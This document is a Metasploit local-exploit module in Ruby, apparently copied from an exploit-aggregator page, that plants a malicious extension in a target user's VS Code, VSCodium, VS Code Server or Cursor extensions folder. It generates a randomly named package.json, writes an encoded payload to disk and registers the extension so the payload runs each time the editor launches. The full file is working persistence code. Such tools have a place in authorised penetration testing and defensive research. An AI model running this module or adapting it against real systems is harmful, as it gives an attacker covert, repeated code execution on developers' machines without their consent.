Share
## https://sploitus.com/exploit?id=MSF:EXPLOIT-MULTI-PERSISTENCE-VSCODE_EXTENSION-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
# frozen_string_literal: true

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Post::Unix # whoami
  include Msf::Exploit::Local::Persistence
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'VS Code Extension Persistence',
        'Description' => %q{
          This module installs a malicious VS Code extension into the target's
          VS Code extensions directory. The extension executes the payload each time
          VS Code is launched, providing persistent code execution. Supports VS Code,
          VS Code Insiders, VSCodium, VS Code Server, and Cursor.

          Tested against 1.120.0 on Kali and Windows 10
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'h00die',
        ],
        'DisclosureDate' => '2015-04-29', # VS Code first public release
        'SessionTypes' => ['shell', 'meterpreter'],
        'Privileged' => false,
        'References' => [
          ['URL', 'https://code.visualstudio.com/api/get-started/your-first-extension'],
          ['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],
          ['ATT&CK', Mitre::Attack::Technique::T1176_SOFTWARE_EXTENSIONS]
        ],
        'Arch' => [ARCH_CMD],
        'Platform' => %w[linux windows],
        'Payload' => {
          'Space' => 8191,
          'DisableNops' => true
        },
        'Targets' => [
          ['Windows', { 'Platform' => 'windows' }],
          ['Linux', { 'Platform' => ['unix', 'linux'] }],
          # ['OSX', { 'Platform' => 'osx' }] this likely works but I don't have a test environment to verify it, so leaving it out of the target list for now
        ],
        'Notes' => {
          'Reliability' => [REPEATABLE_SESSION],
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
        },
        'DefaultTarget' => 0
      )
    )

    register_options([
      OptString.new('NAME', [false, 'Name of the extension (Random if left blank)', '']),
      OptString.new('PUBLISHER', [false, 'Publisher name for the extension (Random if left blank)', '']),
      OptString.new('DESCRIPTION', [false, 'Description of the extension (Random if left blank)', '']),
      OptString.new('USER', [false, 'User to target, or current user if blank', '']),
      OptPath.new('ICON', [false, 'Local path to an icon file (PNG) to include with the extension']),
      OptString.new('VERSION', [false, 'Extension version in major.minor.patch format', '1.0.0'])
    ])
    deregister_options('WritableDir')
  end

  def ext_name
    @ext_name ||= datastore['NAME'].blank? ? rand_text_alphanumeric(4..10).downcase : datastore['NAME'].downcase
  end

  def ext_publisher
    @ext_publisher ||= datastore['PUBLISHER'].blank? ? rand_text_alpha(4..8).downcase : datastore['PUBLISHER'].downcase
  end

  def ext_version
    @ext_version ||= begin
      ver = datastore['VERSION'].blank? ? '1.0.0' : datastore['VERSION']
      fail_with(Failure::BadConfig, "VERSION must be in major.minor.patch format (e.g. 1.0.0), got: #{ver}") unless ver.match?(/\A\d+\.\d+\.\d+\z/)
      ver
    end
  end

  def ext_dir_name
    "#{ext_publisher}.#{ext_name}-#{ext_version}"
  end

  def package_json
    pkg = {
      'name' => ext_name,
      'displayName' => ext_name,
      'description' => datastore['DESCRIPTION'].blank? ? '' : datastore['DESCRIPTION'],
      'version' => ext_version,
      'publisher' => ext_publisher,
      'engines' => { 'vscode' => '^1.0.0' },
      'activationEvents' => ['*'],
      'main' => './extension.js'
    }
    pkg['icon'] = "./#{::File.basename(datastore['ICON'])}" unless datastore['ICON'].blank?
    pkg.to_json
  end

  def extension_js
    template_path = ::File.join(Msf::Config.data_directory, 'exploits', 'vscode_extension', 'extension.js.template')
    fail_with(Failure::BadConfig, "Extension template not found: #{template_path}") unless ::File.exist?(template_path)

    ::File.read(template_path)
  end

  def target_user
    return datastore['USER'] unless datastore['USER'].blank?

    return cmd_exec('cmd.exe /c echo %USERNAME%').strip if windows?

    whoami
  end

  def windows?
    ['windows', 'win'].include?(session.platform)
  end

  # def osx?
  #   session.platform == 'osx'
  # end

  def vscode_ext_dirs
    user = target_user
    vprint_status("Target user: #{user}")

    if windows?
      [
        "C:\\Users\\#{user}\\.vscode\\extensions",
        "C:\\Users\\#{user}\\.vscode-insiders\\extensions",
        "C:\\Users\\#{user}\\.cursor\\extensions"
      ]
    # when 'osx' โ€” uncomment and add 'osx' to Platform/Targets once verified on macOS
    # [
    #   "/Users/#{user}/.vscode/extensions",
    #   "/Users/#{user}/.vscode-insiders/extensions",
    #   "/Users/#{user}/.vscode-oss/extensions",
    #   "/Users/#{user}/.cursor/extensions"
    # ]
    else
      home = user == 'root' ? '/root' : "/home/#{user}"
      [
        "#{home}/.vscode/extensions",
        "#{home}/.vscode-insiders/extensions",
        "#{home}/.vscode-server/extensions",
        "#{home}/.vscode-oss/extensions",
        "#{home}/.cursor/extensions",
        "#{home}/snap/code/current/.config/Code/extensions"
      ]
    end
  end

  def check
    vscode_ext_dirs.each do |dir|
      next unless directory?(dir)
      if !windows? && !writable?(dir)
        return CheckCode::Appears("VS Code extensions directory found but not writable: #{dir}")
      end

      return CheckCode::Appears("VS Code extensions directory found: #{dir}")
    end

    CheckCode::Safe('No VS Code extensions directory found')
  rescue StandardError => e
    CheckCode::Unknown("Error checking for VS Code: #{e.message}")
  end

  def vscode_running?
    if windows?
      !cmd_exec('powershell -Command "Get-Process -Name Code* -ErrorAction SilentlyContinue"').strip.empty?
    else
      # The [c]ode bracket trick prevents the grep process itself from matching
      !cmd_exec('ps -ef 2>/dev/null | grep -i "[c]ode"').strip.empty?
    end
  end

  # VS Code URI path format for Windows: /c:/users/... (lowercase drive, forward slashes)
  def uri_path(full_path)
    return full_path unless windows?

    '/' + full_path.gsub('\\', '/').sub(/^([A-Za-z]):/) { "#{::Regexp.last_match(1).downcase}:" }
  end

  def register_extension(ext_base, ext_dir)
    sep = windows? ? '\\' : '/'
    index_path = "#{ext_base}#{sep}extensions.json"

    extensions = []
    if file?(index_path)
      print_status('Reading extensions.json...')
      begin
        extensions = JSON.parse(read_file(index_path))
        # Remove any stale entry for this extension id
        extensions.reject! { |e| e.dig('identifier', 'id')&.casecmp?("#{ext_publisher}.#{ext_name}") }
      rescue JSON::ParserError => e
        print_warning("Could not parse extensions.json: #{e.message} - starting fresh")
        extensions = []
      end
    end

    entry = {
      'identifier' => { 'id' => "#{ext_publisher}.#{ext_name}" },
      'version' => ext_version,
      'location' => {
        '$mid' => 1,
        'fsPath' => ext_dir,
        'path' => uri_path(ext_dir),
        'scheme' => 'file'
      },
      'relativeLocation' => ext_dir_name,
      'metadata' => {
        'id' => SecureRandom.uuid,
        'publisherId' => SecureRandom.uuid,
        'publisherDisplayName' => ext_publisher,
        'targetPlatform' => 'undefined',
        'isPreReleaseVersion' => false,
        'hasPreReleaseVersion' => false,
        'installedTimestamp' => (Time.now.to_f * 1000).to_i,
        'pinned' => false,
        'isApplicationScoped' => false,
        'updated' => false,
        'preRelease' => false
      }
    }

    extensions << entry
    write_file(index_path, JSON.generate(extensions))
    print_good("Registered extension in #{index_path}")
    index_path
  end

  def install_persistence
    print_status("Using extension: #{ext_dir_name}")

    ext_base = vscode_ext_dirs.find { |dir| directory?(dir) }
    fail_with(Failure::NotFound, 'No VS Code extensions directory found') if ext_base.nil?

    print_status("Installing to: #{ext_base}")

    sep = windows? ? '\\' : '/'
    ext_dir = "#{ext_base}#{sep}#{ext_dir_name}"

    unless directory?(ext_dir)
      print_status("Creating extension directory: #{ext_dir}")
      mkdir(ext_dir, cleanup: false)
    end

    pkg_path = "#{ext_dir}#{sep}package.json"
    fail_with(Failure::UnexpectedReply, "Failed to write #{pkg_path}") unless write_file(pkg_path, package_json)
    print_good("Wrote package.json to #{pkg_path}")

    js_path = "#{ext_dir}#{sep}extension.js"
    fail_with(Failure::UnexpectedReply, "Failed to write #{js_path}") unless write_file(js_path, extension_js)
    print_good("Wrote extension.js to #{js_path}")

    unless datastore['ICON'].blank?
      icon_data = ::File.binread(datastore['ICON'])
      fail_with(Failure::BadConfig, "ICON is not a valid PNG file: #{datastore['ICON']}") unless icon_data.b.start_with?("\x89PNG\r\n\x1a\n".b)

      icon_path = "#{ext_dir}#{sep}#{::File.basename(datastore['ICON'])}"
      fail_with(Failure::UnexpectedReply, "Failed to write #{icon_path}") unless write_file(icon_path, icon_data)
      print_good("Wrote icon to #{icon_path}")
    end

    ext_path = "#{ext_dir}#{sep}external"
    fail_with(Failure::UnexpectedReply, "Failed to write #{ext_path}") unless write_file(ext_path, [payload.encoded].pack('m0'))
    print_good("Wrote payload to #{ext_path}")

    register_extension(ext_base, ext_dir)

    if vscode_running?
      print_warning('VS Code is currently running - restart VS Code to activate the extension.')
    else
      print_status('VS Code is not running - launch it to trigger the extension.')
    end

    @clean_up_rc << "rm -rf \"#{ext_dir}\"\n"
  end
end